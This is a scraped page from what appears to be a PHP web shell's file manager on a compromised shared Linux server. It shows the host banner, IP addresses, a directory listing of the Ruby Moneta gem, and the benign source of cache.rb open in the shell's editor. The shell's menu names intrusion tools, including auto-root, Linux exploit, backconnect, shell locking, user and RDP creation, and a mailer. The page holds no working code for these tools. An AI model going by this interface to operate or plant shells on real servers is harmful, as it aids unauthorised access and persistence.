Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
moneta /
[ HOME SHELL ]
Name
Size
Permission
Action
adapters
[ DIR ]
drwxr-xr-x
transformer
[ DIR ]
drwxr-xr-x
builder.rb
2.47
KB
-rw-r--r--
cache.rb
2.77
KB
-rw-r--r--
expires.rb
2.29
KB
-rw-r--r--
lock.rb
467
B
-rw-r--r--
logger.rb
1.83
KB
-rw-r--r--
mixins.rb
9.72
KB
-rw-r--r--
optionmerger.rb
1.3
KB
-rw-r--r--
pool.rb
1.36
KB
-rw-r--r--
proxy.rb
2.71
KB
-rw-r--r--
server.rb
3.3
KB
-rw-r--r--
shared.rb
1.64
KB
-rw-r--r--
stack.rb
2.36
KB
-rw-r--r--
synchronize.rb
3.07
KB
-rw-r--r--
transformer.rb
7.58
KB
-rw-r--r--
utils.rb
584
B
-rw-r--r--
version.rb
80
B
-rw-r--r--
weak.rb
949
B
-rw-r--r--
wrapper.rb
1.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cache.rb
module Moneta # Combines two stores. One is used as cache, the other as backend adapter. # # @example Add `Moneta::Cache` to proxy stack # Moneta.build do # use(:Cache) do # adapter { adapter :File, dir: 'data' } # cache { adapter :Memory } # end # end # # @api public class Cache include Defaults # @api private class DSL def initialize(store, &block) @store = store instance_eval(&block) end # @api public def adapter(store = nil, &block) raise 'Adapter already set' if @store.adapter raise ArgumentError, 'Only argument or block allowed' if store && block @store.adapter = store || Moneta.build(&block) end # @api public def cache(store = nil, &block) raise 'Cache already set' if @store.cache raise ArgumentError, 'Only argument or block allowed' if store && block @store.cache = store || Moneta.build(&block) end end attr_accessor :cache, :adapter # @param [Hash] options Options hash # @option options [Moneta store] :cache Moneta store used as cache # @option options [Moneta store] :adapter Moneta store used as adapter # @yieldparam Builder block def initialize(options = {}, &block) @cache, @adapter = options[:cache], options[:adapter] DSL.new(self, &block) if block_given? end # (see Proxy#key?) def key?(key, options = {}) @cache.key?(key, options) || @adapter.key?(key, options) end # (see Proxy#load) def load(key, options = {}) if options[:sync] || (value = @cache.load(key, options)) == nil value = @adapter.load(key, options) @cache.store(key, value, options) if value != nil end value end # (see Proxy#store) def store(key, value, options = {}) @cache.store(key, value, options) @adapter.store(key, value, options) end # (see Proxy#increment) def increment(key, amount = 1, options = {}) @cache.delete(key, options) @adapter.increment(key, amount, options) end # (see Proxy#create) def create(key, value, options = {}) if @adapter.create(key, value, options) @cache.store(key, value, options) true else false end end # (see Proxy#delete) def delete(key, options = {}) @cache.delete(key, options) @adapter.delete(key, options) end # (see Proxy#clear) def clear(options = {}) @cache.clear(options) @adapter.clear(options) self end # (see Proxy#close) def close @cache.close @adapter.close end # (see Proxy#features) def features @features ||= ((@cache.features + [:create, :increment]) & @adapter.features).freeze end end end
Close